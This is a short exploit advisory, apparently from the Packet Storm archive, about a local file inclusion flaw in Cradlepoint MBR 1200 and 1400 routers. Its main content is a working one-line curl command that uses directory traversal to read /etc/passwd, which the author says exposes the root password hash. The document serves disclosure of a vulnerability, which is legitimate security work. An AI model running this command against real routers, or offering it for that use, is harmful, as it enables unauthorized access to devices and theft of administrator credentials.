Cradlepoint MBR 1200 / 1400 Local File Inclusion

2015-07-08T00:00:00
ID PACKETSTORM:132612
Type packetstorm
Reporter Doc_Hak
Modified 2015-07-08T00:00:00

Description

                                        
                                            `# Exploit Title: Cradlepoint MBR LFI  
# Date: 7/7/2015  
# Exploit Author: Doc_Hak  
# Vendor Homepage: https://cradlepoint.com/  
# Version: 1200/1400 (REQUIRED)  
# Tested on: Embedded linux  
  
I found a local file include with root level permissions on  
cradlepoint routers. So far looks like it works on MBR1400 and MBR1200  
routers, though others could be affected. I say it is with root level  
because it can read /etc/passwd and there is no "x" indicating the hash is  
stored in the /etc/shadow file. Therefore the root hash is included in  
this file.  
  
To access the root hash on Cradlepoint MBRs simply:  
  
curl http://192.168.1.1/../../../../../../../../../../../../etc/passwd  
  
  
  
`